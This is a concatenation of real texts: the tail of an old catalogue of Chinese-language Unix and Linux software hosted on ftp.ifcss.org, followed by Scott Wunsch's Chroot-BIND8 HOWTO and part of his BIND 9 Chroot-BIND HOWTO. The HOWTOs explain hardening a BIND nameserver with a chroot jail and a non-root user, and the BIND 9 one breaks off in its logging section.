function: convert GB to text
URL     : ftp://ftp.ifcss.org/pub/software/unix/viewer/readgb.c
author  : Yuzhao Lu
comment : modified from readnews.c

software: readnews
version : n/a
function: readnews converts BIG5 to ascii dot-matrix picture
URL     : ftp://ftp.ifcss.org/pub/software/unix/viewer/readnews.c
          ftp://ftp.ifcss.org/pub/software/fonts/big5/misc/chinese.16.new.gz
author  : The Society of HKU Postgraduate on Chinese Affairs
comment : rename chinese.16.new to chinese.16

==========
UNIX:INPUT
==========

software: CCTeach
version : 1.0
function: Chinese Character input method Teacher.
          Help new user to learn CC input and some utility programs
              of "cxterm NewFace" for associate dictionary tool,
              hotkey tool, WuBi phrase encoder, and converter with
              ".tit" <==> ".titnf".
          Based on GB and Big5 (ETen and HongKong).
          Support all input method by external dictionary file.
          Need cxterm in unix, CC DOS or ZW DOS in PC.
URL     : ftp://ftp.ifcss.org/pub/software/unix/input/CCTeach1.0.tar.gz
author  : Xiaokun Zhu

=========
UNIX:MISC
=========

software: ICCS 1.3
version : 1.3, June 26, 1994
function: Internet Chinese Chess Server
URL     : ifcss.org:/software/unix/misc/iccs-1.3.tar.gz
author  : Xi Chen
comment : file off-lined due to legal status July 3, 1996. Please contact
          the author Xi Chen at xichen@abel.math.harvard.edu for further info.

========
UNIX:WWW
========

software: cdelegate
version : 1.4a, 1996.5.1
function: This is a Chinese patch on DeleGate, a gateway for the WWW services.
          provides code translation between Chinese/Japanese for WWW browsers
URL     : ftp://ftp.ifcss.org/pub/software/unix/www/cdelegate1.4.tar.gz
author  : Seke Wei

software: Chinese Lynx
version : 2.5FMc, 1996.7.19
function: Chinese BIG5/GB patch to lynx, a WWW client for vt100 terminals.
          Volunteers needed to continue on the patch.
URL     : ftp://ftp.ifcss.org/pub/software/unix/www/clynx25.zip
author  : Nelson Chin

software: Internet MahJong Server (server + client applet)
version : 0.2beta
function: provides a server and a graphic client for playing MahJong on
          the Internet.
URL     : ftp://ftp.ifcss.org/pub/software/unix/www/MJ_dist.tar.gz
author  : Zuwei Thomas Feng
*****
LINUX
*****

software: D Series (Chinese Tools, ELF binary)
version : 1.00,  March 25, 1995
function: Binary distribution of various useful Chinese tools:
          Viewers -- cxterm, crxvt; Input server -- xcin; GB,Big5,HZ,B5E3
          code converters -- ccf, hc, hz2gb, gb2hz, zw2hz, b5decode,
          b5encode; Print tool -- lunar, ttf2ps; Pseudo tty -- hztty,
          betty; Various handy scripts, man pages, dictionaries, HBF fonts,
          xfonts included; chdrv, celvis, elm, sendmail
URL     : ftp://ftp.ifcss.org/pub/software/linux/CLinux/CTool/d1
          ftp://ftp.ifcss.org/pub/software/linux/CLinux/CTool/d2
          ftp://ftp.ifcss.org/pub/software/linux/CLinux/CTool/d3
          ftp://ftp.ifcss.org/pub/software/linux/CLinux/CTool/d4
author  : Eric Lin
comment : requires XFree86 3.1+, ELF libraries

software: C Series (Chinese packages for Slackware)
version : N/A
function: The Chinese packages collected by Wei-Jou Chen can be installed by
          Slackware's setup tools. Basic idea are that we have right to install
          and remove Chinese softwares easily and beginners can play them
          without much trouble.
URL     : ftp://ftp.ifcss.org/pub/software/linux/CLinux/c1/
          ftp://ftp.ifcss.org/pub/software/linux/CLinux/c2/
          ftp://ftp.ifcss.org/pub/software/linux/CLinux/c3/
          ftp://ftp.ifcss.org/pub/software/linux/CLinux/c4/
          ftp://ftp.ifcss.org/pub/software/linux/CLinux/c5/
compiler: CHEN, Wei-Jou

software: MU Series (Mule packages for Slackware)
version : N/A
function: The Multilingual Emacs 2.0 packages for XFree86 2.X and 3.1
          collected by Shawn Hsiao can be installed by Slackware's setup
          tools
URL     : ftp://ftp.ifcss.org/pub/software/linux/CLinux/mu1/
          ftp://ftp.ifcss.org/pub/software/linux/CLinux/mu2/
          ftp://ftp.ifcss.org/pub/software/linux/CLinux/mu3/
          ftp://ftp.ifcss.org/pub/software/linux/CLinux/mu4/
          ftp://ftp.ifcss.org/pub/software/linux/CLinux/mu5/
          ftp://ftp.ifcss.org/pub/software/linux/CLinux/mu6/
compiler: Shawn Hsiao

=============
LINUX:C-UTILS
=============

software: GNU fileutils-3.9
version : 3.9, 1 August 1994
function: Chinese version of the GNU file utility programs for Linux.
URL     : ftp://ftp.ifcss.org/pub/software/linux/c-utils/fileutils-3.9-bin-chinese.tar.gz
author  : Patrick D'Cruze

software: C2PS
version : 1.30 Aug 1 1995
function: Translate Big5 coded Chinese document into Level 2 PostScript.
          This is the version for Linux. Using Chinese TrueType fonts, you
          can create the most beautiful Chinese documents with C2PS.
          This is a DEMO version. You can freely copied and use it.
URL     : ftp://ftp.ifcss.org/pub/software/linux/chinese_utils/c2ps130lnx.tar.gz
          ftp://ftp.ifcss.org/pub/software/fonts/big5/ms-win/
author  : Hsueh-I Lu

============
LINUX:EDITOR
============

software: ?????? for Linux (promotion version)
version : v2.163
function: PE2-like text editor, special designed for Chinese
URL     : ftp://ftp.ifcss.org/pub/software/
agent   : LU, Heman

=========
LINUX:TTY
=========

software: chdrv
version : 1.0.7, 1995.12.20
function: Chinese Terminal Simulator. Does not require X-Windows.
URL     : ftp://ftp.ifcss.org/pub/software/linux/tty/chdrv-1.0.7.tar.gz
          ftp://ftp.ifcss.org/pub/software/linux/tty/chdrvbin-1.0.7.tar.gz
          ftp://ftp.ifcss.org/pub/software/linux/tty/chdrvfont.tar.gz
author  : WANG, Yu-Chung

===========
LINUX:X11R6
===========

software: Behavior DTop (for Linux)
version : 1.4, Beta
function: A full-featured Chinese DeskTop Publishing Software Package
          characterized by object-oriented design for manipulating
          various document objects, including text, tables, graphics,
          equations, images, in an integrated way. Two outline fonts
          are provided in the Beta Version. PostScript output.
          Good as an English DeskTop Publishing Software Package too.
          (See the README's & formated DTop manual files for a long and
          complete list of functions and characteristics).
URL     : ftp://ftp.ifcss.org/pub/software/linux/X11R6/dtop1.4/
author  : DTop Development Group


Chroot-BIND8 HOWTO

Scott Wunsch, scott at wunsch.org

v1.4, 1 July 2001

This document describes installing the BIND 8 nameserver to run in a chroot jail and as a non-root user, to provide added security and minimise the potential effects of a security compromise. This version of the document covers the old but still popular BIND 8; there is another document which provides similar information for BIND 9.

1. Introduction

  • 1.1 What?
  • 1.2 Why?
  • 1.3 Where?
  • 1.4 How?
  • 1.5 Disclaimer

2. Preparing the Jail

  • 2.1 Creating a User
  • 2.2 Directory Structure
  • 2.3 Placing the BIND Data
  • 2.4 System Support Files
  • 2.5 Logging

3. Compiling BIND

  • 3.1 Modifying Paths
  • 3.2 Doing the Build

4. Installing Your Shiny New BIND

  • 4.1 Installing the Tools Outside the Jail
  • 4.2 Installing the Binaries in the Jail
  • 4.3 Setting up the Init Script
  • 4.4 Configuration Changes

5. The End

  • 5.1 Launching BIND
  • 5.2 That's It!

6. Appendix - Upgrading BIND Later

7. Appendix - Thanks

8. Appendix - Document Distribution Policy


Chroot-BIND8 HOWTO: Introduction

 Next Previous Contents

1. Introduction

This is the Chroot-BIND8 HOWTO; see Where? for the master site, which contains the latest copy. It is assumed that you already know how to configure and use BIND (the Berkeley Internet Name Domain). If not, I would recommend that you read the DNS HOWTO first. It is also assumed that you have a basic familiarity with compiling and installing software on your UNIX-like system.

1.1 What?

This document describes some extra security precautions that you can take when you install BIND. It explains how to configure BIND so that it resides in a ``chroot jail'', meaning that it cannot see or access files outside its own little directory tree. We shall also configure it to run as a non-root user.

The idea behind chroot is fairly simple. When you run BIND (or any other process) in a chroot jail, the process is simply unable to see any part of the filesystem outside the jail. For example, in this document, we'll set BIND up to run chrooted to the directory /chroot/named. Well, to BIND, the contents of this directory will appear to be /, the root directory. Nothing outside this directory will be accessible to it. You've probably encounted a chroot jail before, if you've ever ftped into a public system.

1.2 Why?

The idea behind running BIND in a chroot jail is to limit the amount of access any malicious individual could gain by exploiting vulnerabilities in BIND. It is for the same reason that we run BIND as a non-root user.

This should be considered as a supplement to the normal security precautions (running the latest version, using access control, etc.), not a replacement for them.

If you're interested in DNS security, you might also be interested in a few other products. Building BIND with StackGuard would probably be a good idea for even more protection. Using it is easy; it's just like using ordinary gcc. Also, DNScache is a secure replacement for BIND, written by Dan Bernstein. Dan is the author of qmail, and DNScache appears to follow a similar philosophy.

1.3 Where?

The latest version of this document is always available from the web site of the Linux/Open Source Users of Regina, Sask., at http://www.losurs.org/docs/howto/Chroot-BIND8.html.

There is now a Japanese translation of this document, maintained by nakano at apm.seikei.ac.jp. This is available at http://www.linux.or.jp/JF/JFdocs/Chroot-BIND8-HOWTO.html.

BIND is available from the Internet Software Consortium at http://www.isc.org/bind.html. As of this writing, the current version of BIND 8 is 8.2.4. BIND 9.x has now been released, and has been around for a little while. You may consider upgrading to it; the chroot process is certainly much simpler and cleaner. If you are running BIND 9, then you want the Chroot-BIND HOWTO, which should be available from the same location as this document.

Keep in mind that there are known security holes in all versions of BIND 8 less than 8.2.3, so make very sure that you're running the latest version!

1.4 How?

I wrote this document based on my experiences in setting BIND up in a chroot environment. In my case, I already had an existing BIND installation in the form of a package that came with my Linux distribution. I'll assume that most of you are probably in the same situation, and will simply be transferring over and modifying the configuration files from your existing BIND installation, and then removing the package before installing the new one. Don't remove the package yet, though; we may want some files from it first.

If this is not the case for you, you should still be able to follow this document. The only difference is that, where I refer to copying an existing file, you first have to create it yourself. The DNS HOWTO may be helpful for this.

1.5 Disclaimer

These steps worked for me, on my system. Your mileage may vary. This is but one way to approach this; there are other ways to set the same thing up (although the general approach will be the same). It just happens that this was the first way that I tried that worked, so I wrote it down.

My BIND experience to date has been installing on Linux servers. However, most of the instructions in this document should be easily applicable to other flavours of UNIX as well, and I shall try to point out differences of which I am aware.


Chroot-BIND8 HOWTO: Preparing the Jail

 Next Previous Contents

2. Preparing the Jail

2.1 Creating a User

As mentioned in the introduction, it's not a good idea to run BIND as root. So, before we begin, let's create a separate user for BIND. Note that you should never use an existing generic user like nobody for this purpose. However, some distributions, such as SuSE and Linux Mandrake have started providing a specific user (generally called named); you can simply adapt this user for our purposes, if you like.

This requires adding a line something like the following to /etc/passwd:

named:x:200:200:Nameserver:/chroot/named:/bin/false
And one like this to /etc/group:
named:x:200:
This creates a user and group called named for BIND. Make sure that the UID and GID (both 200 in this example) are unique on your system. The shell is set to /bin/false because this user will never need to log in.

2.2 Directory Structure

Now, we must set up the directory structure that we will use for the chroot jail in which BIND will live. This can be anywhere on your filesystem; the truly paranoid may even want to put it on a separate volume. I shall assume that you will use /chroot/named. Let's start by creating the following directory structure:

/chroot
  +-- named
       +-- bin
       +-- dev
       +-- etc
       |    +-- namedb
       +-- lib
       +-- var
            +-- run

2.3 Placing the BIND Data

Assuming that you have already done a conventional installation of BIND and are using it, you will already have an existing named.conf and zone files. These files must now be moved (or copied, to be safe) into the chroot jail, so that BIND can get at them. named.conf goes in /chroot/named/etc, and the zone files can go in /chroot/named/etc/namedb. For example:

# cp -p /etc/named.conf /chroot/named/etc/

# cp -a /var/named/* /chroot/named/etc/namedb/

BIND will likely need to write to the namedb directory, and probably some of the files in it. For example, if your DNS serves as a slave for a zone, it will have to update that zone file. Also, BIND can dump statistical information, and does so in this directory. For that reason, you should probably make the named user the owner of this directory and its contents:

# chown -R named:named /chroot/named/etc/namedb
BIND will also need to write to the /var/run directory, to put its pidfile and ndc socket there, so let's allow it to do so:
# chown named:named /chroot/named/var/run

2.4 System Support Files

Once BIND is running in the chroot jail, it will not be able to access files outside the jail at all. However, it needs to access a few key files, such as the system's C library. Exactly what libraries are required will depend on your flavour of UNIX. For most modern Linux systems, the following commands will be sufficient to put the necessary libraries in place:

# cd /chroot/named/lib
# cp -p /lib/libc-2.*.so .
# ln -s libc-2.*.so libc.so.6
# cp -p /lib/ld-2.*.so .
# ln -s ld-2.*.so ld-linux.so.2
As an alternative, you could simply build statically-linked versions of the BIND binaries to put in your chroot jail. You should also copy ldconfig into the jail, and run it to create an etc/ld.so.cache for the jail environment. The following commands could take care of this:
# cp /sbin/ldconfig /chroot/named/bin/
# chroot /chroot/named /bin/ldconfig -v

BIND needs one more system file in its jail: good ol' /dev/null. Again, the exact command necessary to create this device node may vary from system to system; check your /dev/MAKEDEV script to be sure. Some systems may also require /dev/zero. For most Linux systems, we can use the following command:

# mknod /chroot/named/dev/null c 1 3

Finally, you need a couple extra files in the /etc directory inside the jail. In particular, you must copy /etc/localtime (this sometimes known as /usr/lib/zoneinfo/localtime on some systems) in there so that BIND logs things with the right time on them, and you must make a simple group file with the named group in it. The following two commands will take care of this:

# cp /etc/localtime /chroot/named/etc/

# echo 'named:x:200:' > /chroot/named/etc/group

Keep in mind that the GID, 200 in this example, must match the one you defined in the real /etc/group above.

2.5 Logging

Unlike a conventional jailbird, BIND can't just scribble its log entries on the walls :-). Normally, BIND logs through syslogd, the system logging daemon. However, this type of logging is performed by sending the log entries to the special socket /dev/log. Since this is outside the jail, BIND can't use it any more. Fortuantely, there are a couple options to work around this.

The Ideal Solution

The ideal solution to this dilemma requires a reasonably recent version of syslogd which supports the -a switch introduced by OpenBSD. Check the manpage for your syslogd(8) to see if you have such a version.

If you do, all you have to do is add the switch ``-a /chroot/named/dev/log'' to the command line when you launch syslogd. On systems which use a full SysV-init (which includes most Linux distributions), this is typically done in the file /etc/rc.d/init.d/syslog. For example, on my Red Hat Linux system, I changed the line

daemon syslogd -m 0
to
daemon syslogd -m 0 -a /chroot/named/dev/log

On Caldera OpenLinux systems, they use a daemon launcher called ssd, which reads configuration from /etc/sysconfig/daemons/syslog. You simply need to modify the options line to look like this:

OPTIONS_SYSLOGD="-m 0 -a /chroot/named/dev/log"

Similarly, on SuSE systems, I'm told that the best place to add this switch is in the /etc/rc.config file. Changing the line

SYSLOGD_PARAMS=""
to read
SYSLOGD_PARAMS="-a /chroot/named/dev/log"
should do the trick.

Once you've figured out how to make this change for your system, simply restart syslogd, either by killing it and launching it again (with the extra parameters), or by using the SysV-init script to do it for you:

# /etc/rc.d/init.d/syslog stop
# /etc/rc.d/init.d/syslog start

Once it's been restarted, you should see a ``file'' in /chroot/named/dev called log, that looks something like this:

srw-rw-rw-   1 root     root            0 Mar 13 20:58 log

The Other Solutions

If you have an older syslogd, then you'll have to find another way to do your logging. There are a couple programs out there, such as holelogd, which are designed to help by acting as a ``proxy'' and accepting log entries from the chrooted BIND and passing them out to the regular /dev/log socket.

Alteratively, you can simply configure BIND to log to files instead of going through syslog. See the BIND documentation for more details if you choose to go this route.


Chroot-BIND8 HOWTO: Compiling BIND

 Next Previous Contents

3. Compiling BIND

You should be able to find the BIND source by visiting http://www.isc.org/bind.html. You need the bind-src.tar.gz package. Be sure to get the latest version!

3.1 Modifying Paths

Things can get a bit confusing at this point, because different parts of the BIND package will be referring to the same directories by different names (depending on whether or not they're running inside the jail). I'll try not to confuse you too much :-).

The main directory that we have to worry about here is /var/run, because its contents are required for both the main named daemon (inside the jail), and the ndc utility (on the outside). We'll start by setting everything up to find this directory from the outside world. To do this, we need to modify src/port/linux/Makefile.set (substitute your port's directory if you're not running Linux), and change the line

DESTRUN=/var/run
to
DESTRUN=/chroot/named/var/run
While you're in there, you may want to change the other destination paths from /usr to /usr/local.

Now everything should be able to find that directory... except the named daemon itself, to which it's still just /var/run inside the jail. We can get around this by making a small change in the named source. In the file src/bin/named/named.h, find the line

#include "pathnames.h"
and add the following line immediately after it
#define _PATH_NDCSOCK    "/var/run/ndc"
This way, named will ignore our definition of DESTRUN over in Makefile.set and use the correct location (from its perspective in the chroot jail). You will notice some warnings about redefinitions of _PATH_NDCSOCK when you do the build; just ignore them.

3.2 Doing the Build

You should now be able to compile BIND as normal, following the instructions in the INSTALL file. At this stage, we only want to compile BIND, not install it. Don't go too far when following the INSTALL file. Essentially, it's just make clean, make depend, and make.


Chroot-BIND8 HOWTO: Installing Your Shiny New BIND

 Next Previous Contents

4. Installing Your Shiny New BIND

I should mention that if you have an existing installation of BIND, such as from an RPM, you should probably remove it before installing the new one. On Red Hat systems, this probably means removing the packages bind and bind-utils, and possibly bind-devel and caching-nameserver, if you have them.

You may want to save a copy of the init script (e.g., /etc/rc.d/init.d/named), if any, before doing so; it'll be useful later on.

4.1 Installing the Tools Outside the Jail

This is the easy part :-). Just run make install and let it take care of it for you. You may want to chmod 000 /usr/local/sbin/named afterwards, to make sure you don't accidentally run the non-chrooted copy of BIND. (This is /usr/sbin/named if you didn't tell it to go in /usr/local/sbin like I suggested.)

4.2 Installing the Binaries in the Jail

Only two parts of the package have to live inside the chroot jail: the main named daemon itself, and named-xfer, which it uses for zone transfers. You can simply copy them in from the source tree:

# cp src/bin/named/named /chroot/named/bin

# cp src/bin/named-xfer/named-xfer /chroot/named/bin

4.3 Setting up the Init Script

If you have an existing init script from your distribution, it would probably be best simply to modify it to run /chroot/named/bin/named, with the appropriate switches. The switches are... (drumroll please...)

  • -u named, which tells BIND to run as the user named, rather than root.
  • -g named, to run BIND under the group named too, rather than root or wheel.
  • -t /chroot/named, which tells BIND to chroot itself to the jail that we've set up.

The following is the init script I use with my Red Hat 6.0 system. As you can see, it is almost exactly the same as the way it shipped from Red Hat. I have also modified the ndc restart command so that it restarts the server properly, and keeps it chrooted. You should probably do the same in your init script, even if you don't copy this one.

#!/bin/sh
#
# named           This shell script takes care of starting and stopping
#                 named (BIND DNS server).
#
# chkconfig: 345 55 45
# description: named (BIND) is a Domain Name Server (DNS) \
# that is used to resolve host names to IP addresses.
# probe: true

# Source function library.
. /etc/rc.d/init.d/functions

# Source networking configuration.
. /etc/sysconfig/network

# Check that networking is up.
[ ${NETWORKING} = "no" ] && exit 0

[ -f /chroot/named/bin/named ] || exit 0

[ -f /chroot/named/etc/named.conf ] || exit 0

# See how we were called.
case "$1" in
  start)
        # Start daemons.
        echo -n "Starting named: "
        daemon /chroot/named/bin/named -u named -g named -t /chroot/named
        echo
        touch /var/lock/subsys/named
        ;;
  stop)
        # Stop daemons.
        echo -n "Shutting down named: "
        killproc named
        rm -f /var/lock/subsys/named
        echo
        ;;
  status)
        /usr/local/sbin/ndc status
        exit $?
        ;;
  restart)
        /usr/local/sbin/ndc -n /chroot/named/bin/named "restart -u named -g named -t /chroot/named"
        exit $?
        ;;
  reload)
        /usr/local/sbin/ndc reload
        exit $?
        ;;
  probe)
        # named knows how to reload intelligently; we don't want linuxconf
        # to offer to restart every time
        /usr/local/sbin/ndc reload >/dev/null 2>&1 || echo start
        exit 0
        ;;

  *)
        echo "Usage: named {start|stop|status|restart}"
        exit 1
esac

exit 0

On Caldera OpenLinux systems, you simply need to modify the variables defined at the top, and it will apparently take care of the rest for you:

NAME=named
DAEMON=/chroot/named/bin/$NAME
OPTIONS="-t /chroot/named -u named -g named"

4.4 Configuration Changes

You will also have to add or change a few options in your named.conf to keep the various directories straight. In particular, you should add (or change, if you already have them) the following directives in the options section:

directory "/etc/namedb";
pid-file "/var/run/named.pid";
named-xfer "/bin/named-xfer";
Since this file is being read by the named daemon, all the paths are of course relative to the chroot jail.

Some people have also reported having to add an extra block to their named.conf to get ndc working properly:

controls {
    unix "/var/run/ndc" perm 0600 owner 0 group 0;
};


Chroot-BIND8 HOWTO: The End

 Next Previous Contents

5. The End

5.1 Launching BIND

Everything should be set up, and you should be ready to put your new, more secure BIND into action. Assuming you set up a SysV-style init script, you can simply launch it as:

# /etc/rc.d/init.d/named start
Make sure you kill any old versions of BIND still running before doing this.

If you take a look at your logs, you should find the initialisation messages that BIND spits out when it loads. (If not, there's a problem with your logging configuration that you need to fix.) Amongst those messages, BIND should tell you that it chrooted successfully, and that it is running as the user and group named. If not, you have a problem.

5.2 That's It!

You can go take a nap now ;-).


Chroot-BIND8 HOWTO: Appendix - Upgrading BIND Later

 Next Previous Contents

6. Appendix - Upgrading BIND Later

So, you had BIND 8.2.2_P7 all nicely chrooted and tweaked to your taste... and then you hear this nasty rumour that there's a remotely-exploitable root hole in that version too, and you need to upgrade to 8.2.3 right away. Do you have to go through this whole long process to install this new version?

Nope. In fact, you really just need the section on Compiling BIND and the first two parts of the section on Installing BIND (installing the binaries outside and inside the jail, respectively).

The rest of the HOWTO deals with setting up the jail and other things like that, which shouldn't need to be altered between versions of BIND. You can just dump the new binaries in over top of the old ones, and you're good to go. But don't forget to kill and restart BIND afterwards, or the old, vulnerable version will still be running!


Chroot-BIND8 HOWTO: Appendix - Thanks

 Next Previous Contents

7. Appendix - Thanks

I'd like to thank the following people for their assistance in the creation of this HOWTO:

  • Lonny Selinger <lonny at abyss.za.org> for "testing" the first version of this HOWTO and making sure that I didn't miss any steps.
  • Chirik <chirik at CastleFur.COM>, Dwayne Litzenberger <dlitz at dlitz.net>, Phil Bambridge <phil.b at cableinet.co.uk>, Robert Cole <rcole at metrum-datatape.com>, Colin MacDonald <colinm at telus.net>, and others for pointing out errors, omissions, and providing other useful advice to make this HOWTO even better.
  • Erik Wallin <erikw at sec.se> and Brian Cervenka <brian at zerobelow.org> for providing good suggestions for further tightening the jail.

And last but certainly not least, I'd like to thank Nakano Takeo <nakano at apm.seikei.ac.jp> for translating the Chroot-BIND HOWTO into Japanese. You can find his translation at http://www.linux.or.jp/JF/JFdocs/Chroot-BIND-HOWTO.html.


Chroot-BIND8 HOWTO: Appendix - Document Distribution Policy

 Next Previous Contents

8. Appendix - Document Distribution Policy

Copyright © Scott Wunsch, 2000-2001. This document may be distributed only subject to the terms set forth in the LDP licence at http://metalab.unc.edu/LDP/COPYRIGHT.html.

This HOWTO is free documentation; you can redistribute it and/or modify it under the terms of the LDP licence. It is distributed in the hope that it will be useful, but without any warranty; without even the impled warranty of merchantability or fitness for a particular purpose. See the LDP licence for more details.


Chroot-BIND HOWTO

Scott Wunsch, scott at wunsch.org

v1.5, 1 December 2001

This document describes installing the BIND 9 nameserver to run in a chroot jail and as a non-root user, to provide added security and minimise the potential effects of a security compromise. Note that this document has been updated for BIND 9; if you still run BIND 8, you want the Chroot-BIND8 HOWTO instead.

1. Introduction

  • 1.1 What?
  • 1.2 Why?
  • 1.3 Where?
  • 1.4 How?
  • 1.5 Disclaimer

2. Preparing the Jail

  • 2.1 Creating a User
  • 2.2 Directory Structure
  • 2.3 Placing the BIND Data
  • 2.4 System Support Files
  • 2.5 Logging
  • 2.6 Tightening Permissions

3. Compiling and Installing Your Shiny New BIND

  • 3.1 Doing the Compile

4. Installing Your Shiny New BIND

  • 4.1 Installing the Binaries
  • 4.2 Setting up the Init Script
  • 4.3 Configuration Changes

5. The End

  • 5.1 Launching BIND
  • 5.2 That's It!

6. Appendix - Upgrading BIND Later

7. Appendix - Thanks

8. Appendix - Document Distribution Policy


Chroot-BIND HOWTO: Introduction

 Next Previous Contents

1. Introduction

This is the Chroot-BIND HOWTO; see Where? for the master site, which contains the latest copy. It is assumed that you already know how to configure and use BIND (the Berkeley Internet Name Domain). If not, I would recommend that you read the DNS HOWTO first. It is also assumed that you have a basic familiarity with compiling and installing software on your UNIX-like system.

1.1 What?

This document describes some extra security precautions that you can take when you install BIND. It explains how to configure BIND so that it resides in a ``chroot jail,'' meaning that it cannot see or access files outside its own little directory tree. We shall also configure it to run as a non-root user.

The idea behind chroot is fairly simple. When you run BIND (or any other process) in a chroot jail, the process is simply unable to see any part of the filesystem outside the jail. For example, in this document, we'll set BIND up to run chrooted to the directory /chroot/named. Well, to BIND, the contents of this directory will appear to be /, the root directory. Nothing outside this directory will be accessible to it. You've probably encounted a chroot jail before, if you've ever used ftp to log into a public system.

Because the chroot process is much simpler with BIND 9, I have started to expand this document slightly, to include more general tips about securing a BIND installation. Nevertheless, this document is not (and is not intended to be) a complete reference for securing BIND. If you do only what is outlined in this document, you're not finished securing your nameserver!

1.2 Why?

The idea behind running BIND in a chroot jail is to limit the amount of access any malicious individual could gain by exploiting vulnerabilities in BIND. It is for the same reason that we run BIND as a non-root user.

This should be considered as a supplement to the normal security precautions (running the latest version, using access control, etc.), certainly not as a replacement for them.

If you're interested in DNS security, you might also be interested in a few other products. Building BIND with StackGuard would probably be a good idea for even more protection. Using it is easy; it's just like using ordinary gcc. Also, DNScache is a secure replacement for BIND, written by Dan Bernstein. Dan is the author of qmail, and DNScache appears to follow a similar philosophy.

1.3 Where?

The latest version of this document is always available from the web site of the Linux/Open Source Users of Regina, Sask., at http://www.losurs.org/docs/howto/Chroot-BIND.html.

There is now a Japanese translation of this document, maintained by Nakano Takeo nakano at apm.seikei.ac.jp. This is available at http://www.linux.or.jp/JF/JFdocs/Chroot-BIND-HOWTO.html.

BIND is available from the Internet Software Consortium at http://www.isc.org/bind.html. As of this writing, the current version of BIND 9 is 9.2.0. BIND 9 has been out for some time now, and many people are using it in production. Nevertheless, some more conservative sorts still prefer to remain with BIND 8. If you are such a person, please see my Chroot-BIND8 HOWTO (available from the same location) for details on chrooting it, but be warned that BIND 8 is much messier to chroot.

Keep in mind that there are known security holes in many earlier versions of BIND, so make very sure that you're running the latest version!

1.4 How?

I wrote this document based on my experiences in setting BIND up in a chroot environment. In my case, I already had an existing BIND installation in the form of a package that came with my Linux distribution. I'll assume that most of you are probably in the same situation, and will simply be transferring over and modifying the configuration files from your existing BIND installation, and then removing the package before installing the new one. Don't remove the package yet, though; we may want some files from it first.

If this is not the case for you, you should still be able to follow this document. The only difference is that, where I refer to copying an existing file, you first have to create it yourself. The DNS HOWTO may be helpful for this.

1.5 Disclaimer

These steps worked for me, on my system; your mileage may vary. This is but one way to approach this; there are other ways to set the same thing up (although the general approach will be the same). It just happens that this was the first way that I tried that worked, so I wrote it down.

My BIND experience to date has been installing on Linux servers. However, most of the instructions in this document should be easily applicable to other flavours of UNIX as well, and I shall try to point out differences of which I am aware. I've also received suggestions from people using other distributions and other platforms, and I've tried to incorporate their comments where possible.

If you run Linux, you need to make sure that you're running a 2.4 kernel before attempting this. The -u switch (to run as a non-root user) requires this newer kernel.


Chroot-BIND HOWTO: Preparing the Jail

 Next Previous Contents

2. Preparing the Jail

2.1 Creating a User

As mentioned in the introduction, it's not a good idea to run BIND as root. So, before we begin, let's create a separate user for BIND. Note that you should never use an existing generic user like nobody for this purpose. However, some distributions, such as SuSE and Linux Mandrake have started providing a specific user (generally called named); you can simply adapt this user for our purposes, if you like.

This requires adding a line something like the following to /etc/passwd:

named:x:200:200:Nameserver:/chroot/named:/bin/false
And one like this to /etc/group:
named:x:200:
This creates a user and group called named for BIND. Make sure that the UID and GID (both 200 in this example) are unique on your system. The shell is set to /bin/false because this user will never need to log in.

2.2 Directory Structure

Now, we must set up the directory structure that we will use for the chroot jail in which BIND will live. This can be anywhere on your filesystem; the truly paranoid may even want to put it on a separate volume. I shall assume that you will use /chroot/named. Let's start by creating the following directory structure:

/chroot
  +-- named
       +-- dev
       +-- etc
       |    +-- namedb
       |         +-- slave
       +-- var
            +-- run

If you use GNU mkdir (such as on a Linux system), you can create this directory structure like this:

# mkdir -p /chroot/named
# cd /chroot/named
# mkdir -p dev etc/namedb/slave var/run

2.3 Placing the BIND Data

Assuming that you have already done a conventional installation of BIND and are using it, you will already have an existing named.conf and zone files. These files must now be moved (or copied, to be safe) into the chroot jail, so that BIND can get at them. named.conf goes in /chroot/named/etc, and the zone files can go in /chroot/named/etc/namedb. For example:

# cp -p /etc/named.conf /chroot/named/etc/

# cp -a /var/named/* /chroot/named/etc/namedb/

BIND would normally need to write to the namedb directory, but in the interests of tightening security, we will not allow it to do this. If your nameserver serves as a slave for any zones, it will need to update these zone files, which means we'll have to store them in a separate directory, to which BIND does have write access.

# chown -R named:named /chroot/named/etc/namedb/slave

Keep in mind that'll you have to move any slave zones you have into this directory, and update your named.conf accordingly.

BIND will also need to write to the /var/run directory, to put its pidfile and statistical information there, so let's allow it to do so:

# chown named:named /chroot/named/var/run

2.4 System Support Files

Once BIND is running in the chroot jail, it will not be able to access files outside the jail at all. However, it needs to access a few key files, although not nearly as many as BIND 8 did.

One file that BIND will need inside its jail is good ol' /dev/null. Note that the exact command necessary to create this device node may vary from system to system; check your /dev/MAKEDEV script to be sure. Some systems may also require /dev/zero, which can created similarly. It's reported that the BIND 9.2.0 release candidates now require /dev/random as well. For most Linux systems, we can use the following commands:

# mknod /chroot/named/dev/null c 1 3
# mknod /chroot/named/dev/random c 1 8
# chmod 666 /chroot/named/dev/{null,random}

For FreeBSD 4.3, this is:

# mknod /chroot/named/dev/null c 2 2
# mknod /chroot/named/dev/random c 2 3
# chmod 666 /chroot/named/dev/{null,random}

You also need another file in the /etc directory inside the jail. You must copy /etc/localtime (this is sometimes known as /usr/lib/zoneinfo/localtime on some systems) in there so that BIND logs things with the right time on them. The following command will take care of this:

# cp /etc/localtime /chroot/named/etc/

2.5 Logging

Unlike a conventional jailbird, BIND can't just scribble its log entries on the walls :-). Normally, BIND logs through syslogd, the system logging daemon. However, this type of logging is performed by sending the log entries to the special socket /dev/log. Since this is outside the jail, BIND can't use it any more. Fortuantely, there are a couple options to work around this.

The Ideal Solution

The ideal solution to this dilemma requires a reasonably recent version of syslogd which supports the -a switch introduced by OpenBSD. Check the manpage for your syslogd(8) to see if you have such a version.

If you do, all you have to do is add the switch ``-a /chroot/named/dev/log'' to the command line when you launch syslogd. On systems which use a full SysV-init (which includes most Linux distributions), this is typically done in the file /etc/rc.d/init.d/syslog. For example, on my Red Hat Linux system, I changed the line

daemon syslogd -m 0
to
daemon syslogd -m 0 -a /chroot/named/dev/log

Interestingly, as of Red Hat 7.2, Red Hat has apparently made this process even easier. There is now a file called /etc/sysconfig/syslog in which extra parameters for syslogd can be defined.

On Caldera OpenLinux systems, they use a daemon launcher called ssd, which reads configuration from /etc/sysconfig/daemons/syslog. You simply need to modify the options line to look like this:

OPTIONS_SYSLOGD="-m 0 -a /chroot/named/dev/log"

Similarly, on SuSE systems, I'm told that the best place to add this switch is in the /etc/rc.config file. Changing the line

SYSLOGD_PARAMS=""
to read
SYSLOGD_PARAMS="-a /chroot/named/dev/log"
should do the trick.

